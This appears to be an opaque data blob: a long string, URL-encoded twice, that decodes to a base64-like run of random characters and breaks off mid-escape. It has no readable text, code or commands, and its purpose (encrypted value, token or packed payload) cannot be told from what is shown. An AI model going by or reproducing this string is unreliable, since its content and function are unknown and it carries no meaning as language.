%37%31%25%32%66%25%34%36%25%33%33%25%34%39%25%35%33%25%33%37%25%36%39%25%34%33%25%36%63%25%34%64%25%34%62%25%36%37%25%36%34%25%34%34%25%37%32%25%36%31%25%34%33%25%35%38%25%34%37%25%33%31%25%37%39%25%34%35%25%33%34%25%35%37%25%35%35%25%37%37%25%32%66%25%35%38%25%35%31%25%35%37%25%33%33%25%34%32%25%36%38%25%35%35%25%33%35%25%36%33%25%35%38%25%36%37%25%35%61%25%36%66%25%37%36%25%37%61%25%36%66%25%34%39%25%36%36%25%35%31%25%36%36%25%34%37%25%34%38%25%36%38%25%36%34%25%34%31%25%34%62%25%35%32%25%34%33%25%36%38%25%33%37%25%36%62%25%37%39%25%35%30%25%34%32%25%34%35%25%33%36%25%33%34%25%34%61%25%34%66%25%34%34%25%36%35%25%34%63%25%34%37%25%36%65%25%33%37%25%36%31%25%37%31%25%34%37%25%36%32%25%34%62%25%36%31%25%34%31%25%35%31%25%35%31%25%34%34%25%34%36%25%34%32%25%33%39%25%34%65%25%37%34%25%37%36%25%37%37%25%34%35%25%34%36%25%34%61%25%37%36%25%35%35%25%37%35%25%36%62%25%37%61%25%35%38%25%36%31%25%37%33%25%36%31%25%36%35%25%36%64%25%34%39%25%36%63%25%33%32%25%35%36%25%34%34%25%34%31%25%34%31%25%35%34%25%36%36%25%37%38%25%37%34%25%34%33%25%35%34%25%35%37%25%37%35%25%33%31%25%32%62%25%34%33%25%37%35%25%37%36%25%34%39%25%35%38%25%36%64%25%35%37%25%33%30%25%36%61%25%37%33%25%37%39%25%35%30%25%34%36%25%36%63%25%33%31%25%37%38%25%37%31%25%33%30%25%35%35%25%36%63%25%34%37%25%34%32%25%36%39%25%33%36%25%36%37%25%35%37%25%34%64%25%35%61%25%33%37%25%37%37%25%33%38%25%36%34%25%37%31%25%35%34%25%34%38%25%34%32%25%37%35%25%37%36%25%35%36%25%36%61%25%36%39%25%34%31%25%36%37%25%33%39%25%37%36%25%36%66%25%34%31%25%35%38%25%34%32%25%36%35%25%37%37%25%32%66%25%34%66%25%34%64%25%36%39%25%36%65%25%36%36%25%36%37%25%33%39%25%36%33%25%36%36%25%37%33%25%33%39%25%35%33%25%33%36%25%34%62%25%35%61%25%34%33%25%36%34%25%36%64%25%34%32%25%36%34%25%33%34%25%36%37%25%33%38%25%36%38%25%36%63%25%37%39%25%36%36%25%34%34%25%37%33%25%37%36%25%33%38%25%33%39%25%37%37%25%35%30%25%36%35%25%37%32%25%36%38%25%36%62%25%34%63%25%34%33%25%35%35%25%35%31%25%37%34%25%35%36%25%35%35%25%36%62%25%37%37%25%36%63%25%35%30%25%35%61%25%35%38%25%33%37%25%37%34%25%36%36%25%34%61%25%37%38%25%37%35%25%35%37%25%33%36%25%33%32%25%35%34%25%34%37%25%37%31%25%37%34%25%36%33%25%34%31%25%36%33%25%37%36%25%33%38%25%33%36%25%36%32%25%32%66%25%33%35%25%35%37%25%35%38%25%35%32%25%35%38%25%36%38%25%33%32%25%37%34%25%32%66%25%34%33%25%35%36%25%36%61%25%33%37%25%34%39%25%37%37%25%34%34%25%37%35%25%34%37%25%34%34%25%34%38%25%32%62%25%37%30%25%34%66%25%34%33%25%33%38%25%32%62%25%35%33%25%34%34%25%37%37%25%34%61%25%35%36%25%35%32%25%33%34%25%36%32%25%34%35%25%37%33%25%36%64%25%34%35%25%34%64%25%35%30%25%33%34%25%33%31%25%35%39%25%35%30%25%34%63%25%35%30%25%36%61%25%34%65%25%35%35%25%37%39%25%36%38%25%37%32%25%35%39%25%34%64%25%35%38%25%36%33%25%34%31%25%34%31%25%33%31%25%34%38%25%35%61%25%33%32%25%35%34%25%35%31%25%34%36%25%33%34%25%37%35%25%36%31%25%36%37%25%33%33%25%33%38%25%37%35%25%34%34%25%34%38%25%36%66%25%37%34%25%36%39%25%34%35%25%37%39%25%37%33%25%37%33%25%35%32%25%35%61%25%35%34%25%37%36%25%35%34%25%33%37%25%34%64%25%36%61%25%34%39%25%37%32%25%35%32%25%34%63%25%33%38%25%36%61%25%35%35%25%37%39%25%33%35%25%32%66%25%37%31%25%36%39%25%35%61%25%35%31%25%36%31%25%37%35%25%34%37%25%36%36%25%34%65%25%33%34%25%37%33%25%36%36%25%36%38%25%36%33%25%34%32%25%36%63%25%34%33%25%35%35%25%36%38%25%37%39%25%33%38%25%36%35%25%35%38%25%32%62%25%37%39%25%32%62%25%36%39%25%34%64%25%34%38%25%36%38%25%35%30%25%36%39%25%36%37%25%36%35%25%35%39%25%35%61%25%35%36%25%35%34%25%33%31%25%33%30%25%35%39%25%37%37%25%37%35%25%36%31%25%35%35%25%36%37%25%33%34%25%33%30%25%34%63%25%36%34%25%33%36%25%34%66%25%35%31%25%36%62%25%34%65%25%36%37%25%36%39%25%35%32%25%37%36%25%37%33%25%36%35%25%34%35%25%33%35%25%35%39%25%35%34%25%36%64%25%34%64%25%33%38%25%36%39%25%34%32%25%37%35%25%37%34%25%36%62%25%34%66%25%37%32%25%35%31%25%33%30%25%34%37%25%36%63%25%36%37%25%35%30%25%36%32%25%34%63%25%33%34%25%36%35%25%36%64%25%36%64%25%36%39%25%34%62%25%34%31%25%33%37%25%36%61%25%37%34%25%37%39%25%33%34%25%33%30%25%33%34%25%36%35%25%35%30%25%37%32%25%34%65%25%35%34%25%34%63%25%35%34%25%35%34%25%35%32%25%33%34%25%35%37%25%35%37%25%33%36%25%33%35%25%37%38%25%32%66%25%36%61%25%36%64%25%34%35%25%34%38%25%36%39%25%34%64%25%34%62%25%34%61%25%36%35%25%33%30%25%36%62%25%35%33%25%36%38%25%37%35%25%33%37%25%35%34%25%37%30%25%34%35%25%35%37%25%37%35%25%36%64%25%37%30%25%36%65%25%34%66%25%37%32%25%37%33%25%37%39%25%36%32%25%36%31%25%36%38%25%35%34%25%33%34%25%34%37%25%33%38%25%36%62%25%36%62%25%35%36%25%33%32%25%36%37%25%35%35%25%36%31%25%36%37%25%34%35%25%36%31%25%35%37%25%34%39%25%36%37%25%35%30%25%34%31%25%36%31%25%34%32%25%36%33%25%32%62%25%34%61%25%35%39%25%37%39%25%36%39%25%37%35%25%34%38%25%33%30%25%37%34%25%34%31%25%34%66%25%36%65%25%37%30%25%37%35%25%36%61%25%36%32%25%37%36%25%33%35%25%35%37%25%34%64%25%36%35%25%33%37%25%35%34%25%34%34%25%35%38%25%36%61%25%34%39%25%33%39%25%33%36%25%36%38%25%34%33%25%37%61%25%36%32%25%35%31%25%37%38%25%35%38%25%37%34%25%36%34%25%33%36%25%37%38%25%32%66%25%34%62%25%36%61%25%35%37%25%36%33%25%33%36%25%33%35%25%34%33%25%36%63%25%35%61%25%34%39%25%33%39%25%33%34%25%34%35%25%35%36%25%34%31%25%33%34%25%34%61%25%36%66%25%35%39%25%35%39%25%36%31%25%36%64%25%34%32%25%36%61%25%37%39%25%37%37%25%36%63%25%33%30%25%36%64%25%35%37%25%37%39%25%35%39%25%36%62%25%37%36%25%33%31%25%32%62%25%34%31%25%34%31%25%35%34%25%37%38%25%35%38%25%34%64%25%35%61%25%33%34%25%36%36%25%34%31%25%34%38%25%37%35%25%34%64%25%34%65%25%37%30%25%34%38%25%35%34%25%35%38%25%34%63%25%34%36%25%33%34%25%35%33%25%36%39%25%36%61%25%36%36%25%37%31%25%34%65%25%35%35%25%34%32%25%36%62%25%34%39%25%36%66%25%33%33%25%33%32%25%36%31%25%34%34%25%36%31%25%37%34%25%34%33%25%33%35%25%34%66%25%36%61%25%37%32%25%37%31%25%36%34%25%33%31%25%33%34%25%35%61%25%37%33%25%33%38%25%37%37%25%35%31%25%37%36%25%34%63%25%36%62%25%37%32%25%34%61%25%34%31%25%36%64%25%33%39%25%34%61%25%36%33%25%36%32%25%36%63%25%34%31%25%36%33%25%36%35%25%37%34%25%37%32%25%34%32%25%35%32%25%36%61%25%35%31%25%34%64%25%36%65%25%36%65%25%34%36%25%36%61%25%33%33%25%36%32%25%32%62%25%35%35%25%34%34%25%34%62%25%34%64%25%37%36%25%37%35%25%37%31%25%36%66%25%34%35%25%33%38%25%34%39%25%34%64%25%34%33%25%34%63%25%34%39%25%33%31%25%37%61%25%36%66%25%37%34%25%34%38%25%36%62%25%33%39%25%34%35%25%36%37%25%35%33%25%35%39%25%37%35%25%36%35%25%35%35%25%35%35%25%33%34%25%34%38%25%35%36%25%35%36%25%34%34%25%35%35%25%35%36%25%34%33%25%33%39%25%36%62%25%37%31%25%34%38%25%33%34%25%33%36%25%36%62%25%34%66%25%34%31%25%37%32%25%34%64%25%35%34%25%37%33%25%35%35%25%34%33%25%33%38%25%34%34%25%37%37%25%37%33%25%34%65%25%33%30%25%34%35%25%36%35%25%36%38%25%37%36%25%35%31%25%37%36%25%35%35%25%37%38%25%34%32%25%33%30%25%35%32%25%37%39%25%36%31%25%33%37%25%36%66%25%34%62%25%34%33%25%37%30%25%36%37%25%34%32%25%35%30%25%36%62%25%36%36%25%36%63%25%34%36%25%34%33%25%37%61%25%37%33%25%36%34%25%34%36%25%36%66%25%35%35%25%34%37%25%34%35%25%37%39%25%37%38%25%36%64%25%35%37%25%35%39%25%36%61%25%34%61%25%35%61%25%37%30%25%36%35%25%34%64%25%33%30%25%33%35%25%34%34%25%33%32%25%37%32%25%36%65%25%34%66%25%33%35%25%37%30%25%35%39%25%33%35%25%33%34%25%37%34%25%36%32%25%33%34%25%36%63%25%36%61%25%33%31%25%36%31%25%33%31%25%35%38%25%34%38%25%37%30%25%35%61%25%33%30%25%36%35%25%37%32%25%33%36%25%34%32%25%36%34%25%33%37%25%34%66%25%35%35%25%33%35%25%36%39%25%36%66%25%34%61%25%34%61%25%35%34%25%35%61%25%37%33%25%36%36%25%37%32%25%37%35%25%34%36%25%37%33%25%36%38%25%35%32%25%33%38%25%37%31%25%37%36%25%35%33%25%34%62%25%33%32%25%36%65%25%36%39%25%36%35%25%35%35%25%34%34%25%35%33%25%36%33%25%33%30%25%36%37%25%34%38%25%33%31%25%35%31%25%36%36%25%37%35%25%35%35%25%34%66%25%33%35%25%33%33%25%37%33%25%33%33%25%34%66%25%36%61%25%35%31%25%37%38%25%36%33%25%33%38%25%37%32%25%34%63%25%34%31%25%36%66%25%33%30%25%35%33%25%33%32%25%36%64%25%36%38%25%36%65%25%35%38%25%37%31%25%33%31%25%33%36%25%36%64%25%34%63%25%34%35%25%37%31%25%36%61%25%33%39%25%34%33%25%37%37%25%34%37%25%35%34%25%32%66%25%35%31%25%37%33%25%33%32%25%34%64%25%36%66%25%35%35%25%36%37%25%37%35%25%34%39%25%34%64%25%34%66%25%35%30%25%33%32%25%33%30%25%35%30%25%33%34%25%33%31%25%33%33%25%37%39%25%37%31%25%34%37%25%33%33%25%37%34%25%33%36%25%37%38%25%34%33%25%36%32%25%33%35%25%34%65%25%37%35%25%34%37%25%36%36%25%37%31%25%37%37%25%32%66%25%37%34%25%34%37%25%34%32%25%35%61%25%37%39%25%35%35%25%37%30%25%33%33%25%37%30%25%37%34%25%35%31%25%35%38%25%33%31%25%35%35%25%37%33%25%34%31%25%34%37%25%37%30%25%36%35%25%36%63%25%37%31%25%35%61%25%35%35%25%34%33%25%37%37%25%34%33%25%35%32%25%35%33%25%36%63%25%35%61%25%36%38%25%34%31%25%34%64%25%36%64%25%36%34%25%35%30%25%35%30%25%34%38%25%37%34%25%33%34%25%36%37%25%36%31%25%34%64%25%36%63%25%37%32%25%37%35%25%34%66%25%34%63%25%35%61%25%35%33%25%36%39%25%34%34%25%36%39%25%36%64%25%36%39%25%37%38%25%33%31%25%34%34%25%34%38%25%35%32%25%32%66%25%37%34%25%35%32%25%34%64%25%33%39%25%37%34%25%33%37%25%33%38%25%34%35%25%34%35%25%32%62%25%37%39%25%33%30%25%34%36%25%36%65%25%33%37%25%36%63%25%36%34%25%33%38%25%36%61%25%33%32%25%37%39%25%32%62%25%34%38%25%33%35%25%37%30%25%33%34%25%35%39%25%32%66%25%35%33%25%35%39%25%37%37%25%36%32%25%34%34%25%36%65%25%36%34%25%35%32%25%36%35%25%35%34%25%33%37%25%37%35%25%33%36%25%35%35%25%34%36%25%37%39%25%34%39%25%34%66%25%32%66%25%37%38%25%34%35%25%37%33%25%33%32%25%37%31%25%35%34%25%35%38%25%34%63%25%33%35%25%36%66%25%35%36%25%37%61%25%33%33%25%36%63%25%33%30%25%34%31%25%35%37%25%34%64%25%37%61%25%36%61%25%32%62%25%33%32%25%34%36%25%37%31%25%35%30%25%36%34%25%36%32%25%35%35%25%36%32%25%33%38%25%34%62%25%36%35%25%37%31%25%35%30%25%34%37%25%35%36%25%33%33%25%34%36%25%37%32%25%36%35%25%36%36%25%37%34%25%36%62%25%34%35%25%35%32%25%35%38%25%34%33%25%34%37%25%34%63%25%36%63%25%34%62%25%36%34%25%34%33%25%36%32%25%35%32%25%36%35%25%35%33%25%35%30%25%33%38%25%33%36%25%36%66%25%37%39%25%35%30%25%34%63%25%33%31%25%36%37%25%34%63%25%33%36%25%35%36%25%35%36%25%35%61%25%37%36%25%37%33%25%34%34%25%37%31%25%33%34%25%32%66%25%36%64%25%36%36%25%35%35%25%32%66%25%36%61%25%36%66%25%33%34%25%33%35%25%33%34%25%34%37%25%34%35%25%34%62%25%36%31%25%33%34%25%34%37%25%33%35%25%35%61%25%34%66%25%35%34%25%35%33%25%34%63%25%35%35%25%36%65%25%36%38%25%34%39%25%37%38%25%35%31%25%35%31%25%35%39%25%34%31%25%37%33%25%33%33%25%33%38%25%37%35%25%35%32%25%32%66%25%34%61%25%37%32%25%34%32%25%36%34%25%34%39%25%35%61%25%35%31%25%37%37%25%36%64%25%37%37%25%36%34%25%36%32%25%34%65%25%34%38%25%36%39%25%33%31%25%34%33%25%34%34%25%37%30%25%36%36%25%34%37%25%36%39%25%33%31%25%33%39%25%35%61%25%34%66%25%32%62%25%35%36%25%33%39%25%33%37%25%33%39%25%34%32%25%34%39%25%34%64%25%34%61%25%34%31%25%34%66%25%35%61%25%34%39%25%33%37%25%35%33%25%34%36%25%33%30%25%37%36%25%35%35%25%35%33%25%34%39%25%36%64%25%37%61%25%37%34%25%33%31%25%34%34%25%37%32%25%35%35%25%34%62%25%36%37%25%34%65%25%33%30%25%35%32%25%36%34%25%33%31%25%34%35%25%36%35%25%37%32%25%34%34%25%33%33%25%34%65%25%35%36%25%37%32%25%37%37%25%37%61%25%33%36%25%33%31%25%36%36%25%37%34%25%35%32%25%36%35%25%37%30%25%33%35%25%34%39%25%36%38%25%36%34%25%37%61%25%37%33%25%34%64%25%33%33%25%36%66%25%33%35%25%36%61%25%35%32%25%36%32%25%36%31%25%33%31%25%36%34%25%33%32%25%33%31%25%33%37%25%33%35%25%37%61%25%34%32%25%37%39%25%37%34%25%32%66%25%36%64%25%35%38%25%37%31%25%37%34%25%37%37%25%37%35%25%36%36%25%33%34%25%34%31%25%36%37%25%36%38%25%34%36%25%37%39%25%36%62%25%35%38%25%35%34%25%35%37%25%36%61%25%33%37%25%35%61%25%34%39%25%36%66%25%36%37%25%36%39%25%33%34%25%35%32%25%34%65%25%37%61%25%34%36%25%33%37%25%35%38%25%35%30%25%34%38%25%35%37%25%37%36%25%33%39%25%34%37%25%33%36%25%36%32%25%36%63%25%34%38%25%33%38%25%33%37%25%35%31%25%35%37%25%37%39%25%34%65%25%33%36%25%36%33%25%34%65%25%36%66%25%36%36%25%34%39%25%35%32%25%37%34%25%35%33%25%35%39%25%34%66%25%35%31%25%35%36%25%34%35%25%34%36%25%35%33%25%33%38%25%35%31%25%36%36%25%34%35%25%35%32%25%37%35%25%33%33%25%35%31%25%37%39%25%33%35%25%34%38%25%35%30%25%37%35%25%35%32%25%37%38%25%35%61%25%37%33%25%37%61%25%32%66%25%36%35%25%36%36%25%37%38%25%37%35%25%35%32%25%36%33%25%32%62%25%36%32%25%33%37%25%33%37%25%36%34%25%36%64%25%36%35%25%32%66%25%37%38%25%33%37%25%36%36%25%34%61%25%33%37%25%36%33%25%36%38%25%33%35%25%37%37%25%36%32%25%36%34%25%37%35%25%36%62%25%33%33%25%33%35%25%33%34%25%33%37%25%32%62%25%37%32%25%36%33%25%34%61%25%34%63%25%34%63%25%32%62%25%37%31%25%37%37%25%34%31%25%32%62%25%33%37%25%32%66%25%34%37%25%35%36%25%36%39%25%36%36%25%37%36%25%34%32%25%35%35%25%35%38%25%33%32%25%36%32%25%34%62%25%34%38%25%33%35%25%36%34%25%37%32%25%36%62%25%34%36%25%33%39%25%36%65%25%37%32%25%34%37%25%37%33%25%33%30%25%34%36%25%36%62%25%37%35%25%37%37%25%36%31%25%36%31%25%37%37%25%34%66%25%32%66%25%35%61%25%36%61%25%37%61%25%34%39%25%33%32%25%33%36%25%36%64%25%36%34%25%36%37%25%33%30%25%34%64%25%36%36%25%34%38%25%36%38%25%36%62%25%34%65%25%37%39%25%36%35%25%34%31%25%37%33%25%33%36%25%37%38%25%34%33%25%33%32%25%34%63%25%36%32%25%33%30%25%33%39%25%32%62%25%37%39%25%36%35%25%37%32%25%34%33%25%37%37%25%33%39%25%36%33%25%34%61%25%34%34%25%36%36%25%33%33%25%37%34%25%37%36%25%36%35%25%37%30%25%35%30%25%34%62%25%36%37%25%35%32%25%36%36%25%36%33%25%37%38%25%33%37%25%37%61%25%36%63%25%36%32%25%36%34%25%37%35%25%37%32%25%34%39%25%34%39%25%36%39%25%36%39%25%34%31%25%36%62%25%35%38%25%35%36%25%34%62%25%36%65%25%33%39%25%37%32%25%33%35%25%33%32%25%37%38%25%34%64%25%36%39%25%33%38%25%35%39%25%34%62%25%37%38%25%36%65%25%33%38%25%36%39%25%34%31%25%36%38%25%36%38%25%37%37%25%34%37%25%34%39%25%37%35%25%34%63%25%35%34%25%35%38%25%36%38%25%34%66%25%36%31%25%33%33%25%33%37%25%33%34%25%33%35%25%36%31%25%36%32%25%33%32%25%36%62%25%34%64%25%36%34%25%35%37%25%36%34%25%34%34%25%36%37%25%33%34%25%34%38%25%33%36%25%34%31%25%37%33%25%37%34%25%37%61%25%33%30%25%36%64%25%35%61%25%36%33%25%33%39%25%34%35%25%37%33%25%37%33%25%36%36%25%34%61%25%37%34%25%34%62%25%36%38%25%34%62%25%33%36%25%37%61%25%36%33%25%35%37%25%36%63%25%33%34%25%32%62%25%36%61%25%33%37%25%32%62%25%35%61%25%34%63%25%33%30%25%35%39%25%33%32%25%33%37%25%37%36%25%33%37%25%37%37%25%33%33%25%32%62%25%32%66%25%37%30%25%37%38%25%37%37%25%36%34%25%33%36%25%35%38%25%33%31%25%36%34%25%36%64%25%35%38%25%33%39%25%36%66%25%36%61%25%34%61%25%36%63%25%35%38%25%35%37%25%35%34%25%36%65%25%33%39%25%36%38%25%37%30%25%33%37%25%35%33%25%36%62%25%37%61%25%36%32%25%36%35%25%34%64%25%36%37%25%36%37%25%34%35%25%33%38%25%33%34%25%33%35%25%35%32%25%35%34%25%34%37%25%37%32%25%37%61%25%35%30%25%33%38%25%34%66%25%35%34%25%34%61%25%36%34%25%37%34%25%36%61%25%34%66%25%37%39%25%34%64%25%36%65%25%35%38%25%33%31%25%35%38%25%35%31%25%36%38%25%33%38%25%33%31%25%34%64%25%33%36%25%34%37%25%34%35%25%37%32%25%35%35%25%34%36%25%34%37%25%33%39%25%37%35%25%36%61%25%36%36%25%36%36%25%34%32%25%36%33%25%36%36%25%37%31%25%34%34%25%37%38%25%36%61%25%37%30%25%36%31%25%36%63%25%33%32%25%34%39%25%34%39%25%36%63%25%33%35%25%34%36%25%34%36%25%37%61%25%37%37%25%34%39%25%34%62%25%35%32%25%35%33%25%36%34%25%34%39%25%35%33%25%37%32%25%36%32%25%34%62%25%35%34%25%33%36%25%37%36%25%33%35%25%35%30%25%36%65%25%36%31%25%37%32%25%34%32%25%36%66%25%34%66%25%37%30%25%35%37%25%35%38%25%37%31%25%36%66%25%37%36%25%34%32%25%35%35%25%37%61%25%33%34%25%34%32%25%34%66%25%35%32%25%33%37%25%35%34%25%36%34%25%35%30%25%37%31%25%37%39%25%33%31%25%35%30%25%36%35%25%33%30%25%36%32%25%36%63%25%37%32%25%37%35%25%34%35%25%32%62%25%34%35%25%35%32%25%35%34%25%34%36%25%36%31%25%36%36%25%37%31%25%34%66%25%34%63%25%37%32%25%33%34%25%36%66%25%37%31%25%35%38%25%37%31%25%34%66%25%33%33%25%37%37%25%37%39%25%37%33%25%35%39%25%36%31%25%35%30%25%36%63%25%34%39%25%34%62%25%36%34%25%34%33%25%34%64%25%36%31%25%37%38%25%36%63%25%36%62%25%35%37%25%33%37%25%32%66%25%34%33%25%37%61%25%37%31%25%33%34%25%36%61%25%37%31%25%37%33%25%37%30%25%37%31%25%36%63%25%33%31%25%33%33%25%36%36%25%34%62%25%35%37%25%34%39%25%36%33%25%34%34%25%35%38%25%35%30%25%36%61%25%35%61%25%34%64%25%37%37%25%36%66%25%36%66%25%33%32%25%36%66%25%37%32%25%36%31%25%34%63%25%36%65%25%34%34%25%34%32%25%36%35%25%33%37%25%37%61%25%37%31%25%35%36%25%32%62%25%36%34%25%36%39%25%36%34%25%35%39%25%37%36%25%36%62%25%34%36%25%35%36%25%33%34%25%36%64%25%34%63%25%36%62%25%34%35%25%33%38%25%34%65%25%35%34%25%35%61%25%37%32%25%32%66%25%32%66%25%36%32%25%36%36%25%36%61%25%36%33%25%36%38%25%37%38%25%36%38%25%33%35%25%36%36%25%37%31%25%35%39%25%35%38%25%36%64%25%35%30%25%36%35%25%36%32%25%36%66%25%34%63%25%34%35%25%35%61%25%33%30%25%36%63%25%36%39%25%35%35%25%34%66%25%33%35%25%37%33%25%37%61%25%34%34%25%34%34%25%34%33%25%36%63%25%33%31%25%35%36%25%35%30%25%34%34%25%36%66%25%35%34%25%34%31%25%35%33%25%36%63%25%32%62%25%32%66%25%34%34%25%36%65%25%37%39%25%36%66%25%33%31%25%36%65%25%33%39%25%37%61%25%35%32%25%33%39%25%32%62%25%37%31%25%33%36%25%34%34%25%37%38%25%35%30%25%34%31%25%33%30%25%34%66%25%37%37%25%36%32%25%36%62%25%34%36%25%37%35%25%36%66%25%36%35%25%37%36%25%34%63%25%34%65%25%37%38%25%35%30%25%33%33%25%34%36%25%34%61%25%36%38%25%34%32%25%36%61%25%35%37%25%37%61%25%37%37%25%34%32%25%37%33%25%34%36%25%34%37%25%36%31%25%36%39%25%35%30%25%36%34%25%36%33%25%34%61%25%33%34%25%36%37%25%33%35%25%36%62%25%33%39%25%35%30%25%34%62%25%36%37%25%37%31%25%36%39%25%34%62%25%34%38%25%37%32%25%37%61%25%36%62%25%36%62%25%35%30%25%37%37%25%34%62%25%34%65%25%36%65%25%36%36%25%33%31%25%36%61%25%34%33%25%34%39%25%36%62%25%36%65%25%35%37%25%36%38%25%32%62%25%37%30%25%33%30%25%36%38%25%37%32%25%37%33%25%35%61%25%34%32%25%35%39%25%34%35%25%34%66%25%33%34%25%34%64%25%34%31%25%36%36%25%37%33%25%35%33%25%34%36%25%36%32%25%34%64%25%36%32%25%33%38%25%34%36%25%32%66%25%35%30%25%34%32%25%37%38%25%37%32%25%33%39%25%33%36%25%34%64%25%35%38%25%36%39%25%37%33%25%35%38%25%34%64%25%36%66%25%36%35%25%36%31%25%37%32%25%34%62%25%36%63%25%35%61%25%33%37%25%34%31%25%35%30%25%34%39%25%35%35%25%36%39%25%34%31%25%36%37%25%35%39%25%35%31%25%34%36%25%34%32%25%33%36%25%34%38%25%34%66%25%34%33%25%36%38%25%35%35%25%33%34%25%37%32%25%34%33%25%34%35%25%34%37%25%34%38%25%36%38%25%36%37%25%35%32%25%37%39%25%34%62%25%32%66%25%35%32%25%34%31%25%35%37%25%34%64%25%34%35%25%36%31%25%36%33%25%33%30%25%37%38%25%36%62%25%34%34%25%36%38%25%37%39%25%36%32%25%33%34%25%34%36%25%34%35%25%37%37%25%33%39%25%34%63%25%34%34%25%36%66%25%35%34%25%34%62%25%37%33%25%37%38%25%32%62%25%36%37%25%36%38%25%34%35%25%37%38%25%36%62%25%35%36%25%34%38%25%34%66%25%37%34%25%33%35%25%32%66%25%37%61%25%36%38%25%33%35%25%37%34%25%36%33%25%33%34%25%33%37%25%33%30%25%36%37%25%35%31%25%34%64%25%33%37%25%36%65%25%37%39%25%34%34%25%33%34%25%36%32%25%36%66%25%34%36%25%34%64%25%34%64%25%35%39%25%34%63%25%37%35%25%36%32%25%36%36%25%34%62%25%36%61%25%37%31%25%34%38%25%35%36%25%34%31%25%36%65%25%35%36%25%34%39%25%36%37%25%34%65%25%37%32%25%36%36%25%37%33%25%36%66%25%35%61%25%34%65%25%34%64%25%37%33%25%37%35%25%34%37%25%33%35%25%35%31%25%34%62%25%37%34%25%35%33%25%33%31%25%36%65%25%34%33%25%36%37%25%33%35%25%37%30%25%35%35%25%36%63%25%33%31%25%32%62%25%37%37%25%35%33%25%34%66%25%34%33%25%37%37%25%36%37%25%35%30%25%33%30%25%35%61%25%33%34%25%33%33%25%35%39%25%33%34%25%35%37%25%35%31%25%37%34%25%36%31%25%36%37%25%35%36%25%33%38%25%36%33%25%35%34%25%33%37%25%37%36%25%36%36%25%36%39%25%36%31%25%34%38%25%34%33%25%35%37%25%33%37%25%35%38%25%37%61%25%35%61%25%34%39%25%34%36%25%37%36%25%33%37%25%32%62%25%33%39%25%33%34%25%36%63%25%36%39%25%37%34%25%37%33%25%33%33%25%34%38%25%32%66%25%36%38%25%33%36%25%33%32%25%35%61%25%36%37%25%34%39%25%35%34%25%36%31%25%36%37%25%35%35%25%34%39%25%36%38%25%33%35%25%37%38%25%34%34%25%34%38%25%36%65%25%35%30%25%33%35%25%37%32%25%36%34%25%37%36%25%36%32%25%33%36%25%33%37%25%37%39%25%36%65%25%36%61%25%35%34%25%34%39%25%37%39%25%35%34%25%36%37%25%37%32%25%36%31%25%37%39%25%34%35%25%37%31%25%35%31%25%34%36%25%32%62%25%34%63%25%33%35%25%34%33%25%34%65%25%36%37%25%34%61%25%36%63%25%32%62%25%36%38%25%35%32%25%35%31%25%34%31%25%33%39%25%34%37%25%36%66%25%37%33%25%33%35%25%34%31%25%37%38%25%36%33%25%34%32%25%37%61%25%37%38%25%33%30%25%33%31%25%34%37%25%33%32%25%37%31%25%34%66%25%34%39%25%37%33%25%34%61%25%34%35%25%37%32%25%33%31%25%33%37%25%35%30%25%32%62%25%37%34%25%35%36%25%36%37%25%37%33%25%34%37%25%34%33%25%34%35%25%37%61%25%37%30%25%33%36%25%33%34%25%36%39%25%34%61%25%36%63%25%37%61%25%34%66%25%37%32%25%35%32%25%36%64%25%36%64%25%35%39%25%34%64%25%34%64%25%36%34%25%35%31%25%36%32%25%32%66%25%36%66%25%36%61%25%36%66%25%36%37%25%36%38%25%37%31%25%37%31%25%34%32%25%36%62%25%36%39%25%36%34%25%33%31%25%35%30%25%33%39%25%33%30%25%36%66%25%36%61%25%35%30%25%34%39%25%37%30%25%36%64%25%33%34%25%33%34%25%36%62%25%35%35%25%36%62%25%36%39%25%33%34%25%33%39%25%33%36%25%33%37%25%37%37%25%37%37%25%34%62%25%33%39%25%34%39%25%37%39%25%35%31%25%34%33%25%35%31%25%34%64%25%36%63%25%36%63%25%35%34%25%35%30%25%34%39%25%37%32%25%34%34%25%34%66%25%36%62%25%34%32%25%34%37%25%34%62%25%33%38%25%34%31%25%34%66%25%34%35%25%33%38%25%35%32%25%34%61%25%33%34%25%36%63%25%36%39%25%35%61%25%36%31%25%37%35%25%36%61%25%34%35%25%36%64%25%35%38%25%35%32%25%34%64%25%35%33%25%33%37%25%36%63%25%36%63%25%35%35%25%34%35%25%37%33%25%34%32%25%35%31%25%37%38%25%35%36%25%37%38%25%36%31%25%37%37%25%34%62%25%37%37%25%37%38%25%36%31%25%34%36%25%37%37%25%34%35%25%35%38%25%35%39%25%34%39%25%37%30%25%33%34%25%34%31%25%35%31%25%37%37%25%34%66%25%34%62%25%34%36%25%36%39%25%35%36%25%33%36%25%34%36%25%34%32%25%36%39%25%34%37%25%33%37%25%36%36%25%36%32%25%36%62%25%33%37%25%34%31%25%36%62%25%36%65%25%36%37%25%37%39%25%34%35%25%34%65%25%34%32%25%36%63%25%33%35%25%33%32%25%36%36%25%35%30%25%33%35%25%34%35%25%36%36%25%36%65%25%34%32%25%34%34%25%33%35%25%36%61%25%36%37%25%34%34%25%37%37%25%35%34%25%36%62%25%34%31%25%33%31%25%37%39%25%37%32%25%33%39%25%34%33%25%34%32%25%37%39%25%36%61%25%34%32%25%34%62%25%36%35%25%34%33%25%34%38%25%34%62%25%33%31%25%33%35%25%34%34%25%34%37%25%35%35%25%33%38%25%37%61%25%35%38%25%36%33%25%34%64%25%36%31%25%33%37%25%35%35%25%35%33%25%35%31%25%37%39%25%36%65%25%37%38%25%37%30%25%34%34%25%36%62%25%35%33%25%34%61%25%36%37%25%37%33%25%34%34%25%37%34%25%36%34%25%37%35%25%37%34%25%35%31%25%34%38%25%37%30%25%35%33%25%35%39%25%35%39%25%36%63%25%37%30%25%34%63%25%34%61%25%37%38%25%37%32%25%34%31%25%36%39%25%32%62%25%34%36%25%35%39%25%35%39%25%37%61%25%37%39%25%35%37%25%35%61%25%33%31%25%35%33%25%36%63%25%33%34%25%34%31%25%36%65%25%36%64%25%34%63%25%37%34%25%34%31%25%36%33%25%33%32%25%33%36%25%34%63%25%33%39%25%37%33%25%37%61%25%35%31%25%36%64%25%35%39%25%33%31%25%36%32%25%36%63%25%33%36%25%35%37%25%35%35%25%35%30%25%35%32%25%34%31%25%37%34%25%32%62%25%36%33%25%35%31%25%36%63%25%33%39%25%37%35%25%35%30%25%35%61%25%34%31%25%34%32%25%32%62%25%34%61%25%33%31%25%33%30%25%34%31%25%34%39%25%33%33%25%34%66%25%35%38%25%34%64%25%37%31%25%33%39%25%35%61%25%34%38%25%34%61%25%37%31%25%34%31%25%36%65%25%37%39%25